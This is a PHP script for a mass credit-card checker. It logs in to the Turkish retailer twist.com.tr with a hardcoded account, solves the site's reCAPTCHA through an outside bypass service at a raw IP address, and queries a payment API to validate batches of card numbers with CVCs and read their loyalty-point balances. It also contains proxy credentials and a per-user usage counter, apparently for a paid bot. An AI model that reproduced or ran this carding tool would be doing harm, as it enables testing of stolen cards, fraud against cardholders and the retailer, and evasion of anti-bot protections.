<?php
// Twist.com.tr Puan MASS Checker - Session Based
// Real-time SSE ile sonuç güncelleme

error_reporting(0);
set_time_limit(180);

// SSE Headers
header('Content-Type: text/event-stream');
header('Cache-Control: no-cache');
header('Connection: keep-alive');
header('X-Accel-Buffering: no');

function send_sse($data) {
    echo "data: " . json_encode($data, JSON_UNESCAPED_UNICODE) . "\n\n";
    if (ob_get_level() > 0) {
        ob_flush();
    }
    flush();
}

// Database functions
function getDBConnection() {
    $host = 'localhost';
    $dbname = 'checkerbotdb3';
    $username = 'root';
    $password = '';
    
    try {
        $pdo = new PDO("mysql:host=$host;dbname=$dbname;charset=utf8mb4", $username, $password);
        $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
        return $pdo;
    } catch(PDOException $e) {
        return null;
    }
}

function decrementLimit($pdo, $chatid) {
    if (!$pdo) return;
    try {
        $stmt = $pdo->prepare("UPDATE users SET puanlimit = GREATEST(puanlimit - 1, 0) WHERE chatid = ?");
        $stmt->execute([$chatid]);
    } catch(PDOException $e) {
        // Ignore
    }
}

// Cookie helper class
class CookieJar {
    private $cookies = [];
    
    public function extractFromResponse($response) {
        if (preg_match_all('/^Set-Cookie:\s*([^;]+)/mi', $response, $matches)) {
            foreach ($matches[1] as $cookie) {
                $parts = explode('=', $cookie, 2);
                if (count($parts) == 2) {
                    $this->cookies[trim($parts[0])] = trim($parts[1]);
                }
            }
        }
    }
    
    public function getCookieHeader() {
        $cookieString = [];
        foreach ($this->cookies as $name => $value) {
            $cookieString[] = "{$name}={$value}";
        }
        return implode('; ', $cookieString);
    }
    
    public function get($name) {
        return isset($this->cookies[$name]) ? $this->cookies[$name] : null;
    }
}

// cURL helper with cookie support
function curlRequest($url, $method = 'GET', $headers = [], $postData = null, &$cookieJar = null, $proxy = null, $debug = false) {
    $ch = curl_init();
    
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_HEADER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 30);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);
    curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');
    
    if ($proxy) {
        curl_setopt($ch, CURLOPT_PROXY, $proxy['host']);
        curl_setopt($ch, CURLOPT_PROXYUSERPWD, $proxy['auth']);
        curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_HTTP);
    }
    
    if ($method == 'POST') {
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $postData);
    }
    
    if ($cookieJar && $cookieJar->getCookieHeader()) {
        $headers[] = 'Cookie: ' . $cookieJar->getCookieHeader();
    }
    
    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    $header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
    $error = curl_error($ch);
    
    curl_close($ch);
    
    $headers_response = substr($response, 0, $header_size);
    $body = substr($response, $header_size);
    
    if ($cookieJar) {
        $cookieJar->extractFromResponse($headers_response);
    }
    
    if ($debug) {
        send_sse([
            'type' => 'debug',
            'method' => $method,
            'url' => $url,
            'http_code' => $http_code,
            'error' => $error,
            'body_preview' => substr($body, 0, 200)
        ]);
    }
    
    return [
        'code' => $http_code,
        'body' => $body,
        'error' => $error
    ];
}

// Session-based card check
function check_card_with_session($card, $month, $year, $cvc, $proxy, $debug = false) {
    $cookieJar = new CookieJar();
    
    if ($debug) {
        send_sse(['type' => 'debug', 'step' => 1, 'message' => 'Visiting login page...']);
    }
    
    // Step 1: Visit login page
    $resp1 = curlRequest(
        "https://www.twist.com.tr/giris?returnUrl=/login",
        'GET',
        [
            'accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
            'user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36'
        ],
        null,
        $cookieJar,
        $proxy,
        $debug
    );
    
    if ($resp1['code'] != 200) {
        if ($debug) {
            send_sse(['type' => 'debug', 'step' => 1, 'error' => 'Login page failed', 'code' => $resp1['code']]);
        }
        return ['status' => 'error', 'amount' => '0'];
    }
    
    if ($debug) {
        send_sse(['type' => 'debug', 'step' => 2, 'message' => 'Getting AntiForgeryToken...']);
    }
    
    // Step 2: Get AntiForgeryToken
    $resp2 = curlRequest(
        "https://www.twist.com.tr/tr/Page/Get/GetAntiForgeryToken",
        'GET',
        [
            'accept: */*',
            'referer: https://www.twist.com.tr/giris?returnUrl=/login',
            'user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
        ],
        null,
        $cookieJar,
        $proxy,
        $debug
    );
    
    if ($resp2['code'] != 200) {
        if ($debug) {
            send_sse(['type' => 'debug', 'step' => 2, 'error' => 'Token request failed', 'code' => $resp2['code']]);
        }
        return ['status' => 'error', 'amount' => '0'];
    }
    
    // Parse token from HTML input field
    if (preg_match('/name="__RequestVerificationToken"[^>]+value="([^"]+)"/', $resp2['body'], $matches)) {
        $verificationToken = $matches[1];
    } else {
        if ($debug) {
            send_sse(['type' => 'debug', 'step' => 2, 'error' => 'Token not found in HTML', 'response' => $resp2['body']]);
        }
        return ['status' => 'error', 'amount' => '0'];
    }
    
    if ($debug) {
        send_sse(['type' => 'debug', 'step' => 3, 'message' => 'Getting ReCaptcha token...']);
    }
    
    // Step 3: Get ReCaptcha token
    $anchor_url = "https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LdkpgUqAAAAACWm1qC_-kRBKlgWbRe_dMJBw2hu&co=aHR0cHM6Ly93d3cudHdpc3QuY29tLnRyOjQ0Mw..&hl=tr&v=TkacYOdEJbdB_JjX802TMer9&size=invisible&anchor-ms=20000&execute-ms=15000&cb=sjuqj6uduxpr";
    $bypass_url = "http://193.142.147.218/yenicheckbotaerithia/recpv2apiler/bypass.php?anchor=" . urlencode($anchor_url);
    
    $tempCookieJar = null;
    $resp3 = curlRequest($bypass_url, 'GET', [], null, $tempCookieJar, $proxy, $debug);
    
    if ($resp3['code'] != 200 || empty($resp3['body'])) {
        if ($debug) {
            send_sse(['type' => 'debug', 'step' => 3, 'error' => 'ReCaptcha bypass failed', 'code' => $resp3['code']]);
        }
        return ['status' => 'error', 'amount' => '0'];
    }
    
    $recaptcha_token = trim($resp3['body']);
    
    if ($debug) {
        send_sse(['type' => 'debug', 'step' => 4, 'message' => 'Performing login...']);
    }
    
    // Step 4: Login
    $boundary = "----WebKitFormBoundary" . bin2hex(random_bytes(16));
    
    $login_body = "--{$boundary}\r\n";
    $login_body .= "Content-Disposition: form-data; name=\"__RequestVerificationToken\"\r\n\r\n";
    $login_body .= "{$verificationToken}\r\n";
    $login_body .= "--{$boundary}\r\n";
    $login_body .= "Content-Disposition: form-data; name=\"g-recaptcha-response\"\r\n\r\n";
    $login_body .= "{$recaptcha_token}\r\n";
    $login_body .= "--{$boundary}\r\n";
    $login_body .= "Content-Disposition: form-data; name=\"UserNameOrEmail\"\r\n\r\n";
    $login_body .= "ozgeozmen1@hotmail.com\r\n";
    $login_body .= "--{$boundary}\r\n";
    $login_body .= "Content-Disposition: form-data; name=\"Password\"\r\n\r\n";
    $login_body .= "e36733673E\r\n";
    $login_body .= "--{$boundary}--\r\n";
    
    $resp4 = curlRequest(
        "https://www.twist.com.tr/tr/LogOn",
        'POST',
        [
            'accept: */*',
            'content-type: multipart/form-data; boundary=' . $boundary,
            'origin: https://www.twist.com.tr',
            'referer: https://www.twist.com.tr/giris?returnUrl=/login',
            'user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
        ],
        $login_body,
        $cookieJar,
        $proxy,
        $debug
    );
    
    if ($resp4['code'] != 200) {
        if ($debug) {
            send_sse(['type' => 'debug', 'step' => 4, 'error' => 'Login failed', 'code' => $resp4['code']]);
        }
        return ['status' => 'error', 'amount' => '0'];
    }
    
    if ($debug) {
        send_sse(['type' => 'debug', 'step' => 5, 'message' => 'Checking card point...']);
    }
    
    // Step 5: Check card point
    $payload = json_encode([
        "CreditCard" => [
            "Number" => $card,
            "Owner" => "test user",
            "ExpireYear" => (int)$year,
            "ExpireMonth" => (int)$month,
            "CVC" => $cvc
        ],
        "Money" => [
            "Amount" => 2688.95,
            "CurrencyId" => 1
        ],
        "IpAddress" => "127.0.0.1",
        "PaymentProvider" => "CreditCard"
    ]);
    
    $resp5 = curlRequest(
        "https://www.twist.com.tr/tr/Api/Version/1.0/PaymentApi/GetCreditCardPoint",
        'POST',
        [
            'accept: */*',
            'content-type: application/json',
            'origin: https://www.twist.com.tr',
            'referer: https://www.twist.com.tr/sepet',
            'user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
            'userid: 157116'
        ],
        $payload,
        $cookieJar,
        $proxy,
        $debug
    );
    
    if ($resp5['code'] != 200) {
        if ($debug) {
            send_sse(['type' => 'debug', 'step' => 5, 'error' => 'Card check failed', 'code' => $resp5['code']]);
        }
        return ['status' => 'error', 'amount' => '0'];
    }
    
    $data = json_decode($resp5['body'], true);
    
    if ($debug) {
        send_sse(['type' => 'debug', 'step' => 5, 'response' => $data]);
    }
    
    $is_success = isset($data['IsSuccess']) && $data['IsSuccess'] === true;
    $has_point = isset($data['Point']['Amount']);
    
    if ($is_success && $has_point) {
        return [
            'status' => 'success',
            'amount' => (string)$data['Point']['Amount']
        ];
    } else {
        return ['status' => 'declined', 'amount' => '0'];
    }
}

// Main execution
$card_param = isset($_GET['card']) ? $_GET['card'] : ''; // Tek kart için
$cards_param = isset($_GET['cards']) ? $_GET['cards'] : ''; // Çoklu kart için
$chatid = isset($_GET['chatid']) ? $_GET['chatid'] : '';
$debug = isset($_GET['debug']) && $_GET['debug'] == '1';

if (empty($chatid)) {
    send_sse([
        'type' => 'error',
        'message' => 'ChatID gerekli'
    ]);
    exit;
}

// Tek kart varsa onu kullan
if (!empty($card_param)) {
    $cards_param = $card_param;
}

$cards_raw = explode("\n", trim($cards_param));

$cards = [];
foreach ($cards_raw as $card) {
    $card = trim($card);
    if (!empty($card)) {
        $cards[] = $card;
    }
    if (count($cards) >= 50) {
        break;
    }
}

$total = count($cards);

if ($total == 0) {
    send_sse([
        'type' => 'error',
        'message' => 'Kart bilgisi bulunamadı'
    ]);
    exit;
}

$pdo = getDBConnection();

// Proxy settings
$proxy = [
    'host' => 'rp.scrapegw.com:6060',
    'auth' => 'ccb7t99f1xa6q6v-country-tr:e88zmabjie6wuek'
];

$results = [];

foreach ($cards as $index => $card_line) {
    $num = $index + 1;
    
    decrementLimit($pdo, $chatid);
    
    $kart_parts = explode('|', $card_line);
    
    if (count($kart_parts) != 4) {
        $results[] = [
            'number' => $num,
            'card' => $card_line,
            'amount' => '0',
            'status' => 'DECLINED❌'
        ];
        
        send_sse([
            'type' => 'progress',
            'current' => $num,
            'total' => $total,
            'results' => $results
        ]);
        
        continue;
    }
    
    $card_input = str_replace(' ', '', $kart_parts[0]);
    $month_input = $kart_parts[1];
    $year_input = substr($kart_parts[2], -2);
    $cvv_input = $kart_parts[3];
    
    if (strlen($month_input) === 1) {
        $month_input = "0" . $month_input;
    }
    
    if (strlen($card_input) != 16) {
        $results[] = [
            'number' => $num,
            'card' => $card_line,
            'amount' => '0',
            'status' => 'DECLINED❌'
        ];
        
        send_sse([
            'type' => 'progress',
            'current' => $num,
            'total' => $total,
            'results' => $results
        ]);
        
        continue;
    }
    
    // Check with session-based authentication (with retry mechanism)
    if ($debug) {
        send_sse(['type' => 'debug', 'card_number' => $num, 'message' => "Starting check for card: {$card_line}"]);
    }
    
    $max_retries = 3;
    $point_result = null;
    
    for ($retry = 0; $retry <= $max_retries; $retry++) {
        $point_result = check_card_with_session($card_input, $month_input, $year_input, $cvv_input, $proxy, $debug);
        
        // If success or declined (not error), break
        if ($point_result['status'] !== 'error') {
            break;
        }
        
        // If error and not last retry, wait 2 seconds
        if ($retry < $max_retries) {
            if ($debug) {
                send_sse(['type' => 'debug', 'card_number' => $num, 'message' => "Retry " . ($retry + 1) . " for card: {$card_line}"]);
            }
            sleep(2);
        }
    }
    
    // Handle result
    if ($point_result['status'] === 'error') {
        // After 3 retries still error
        $amount = '0';
        $status = 'ERROR❌';
    } else {
        $amount = $point_result['amount'];
        $status = ($point_result['status'] === 'success' && (float)$amount > 0) ? 'APPROVED✅' : 'DECLINED❌';
    }
    
    $results[] = [
        'number' => $num,
        'card' => $card_line,
        'amount' => $amount,
        'status' => $status
    ];
    
    send_sse([
        'type' => 'progress',
        'current' => $num,
        'total' => $total,
        'results' => $results
    ]);
}

send_sse([
    'type' => 'complete',
    'total' => $total,
    'results' => $results
]);

?>
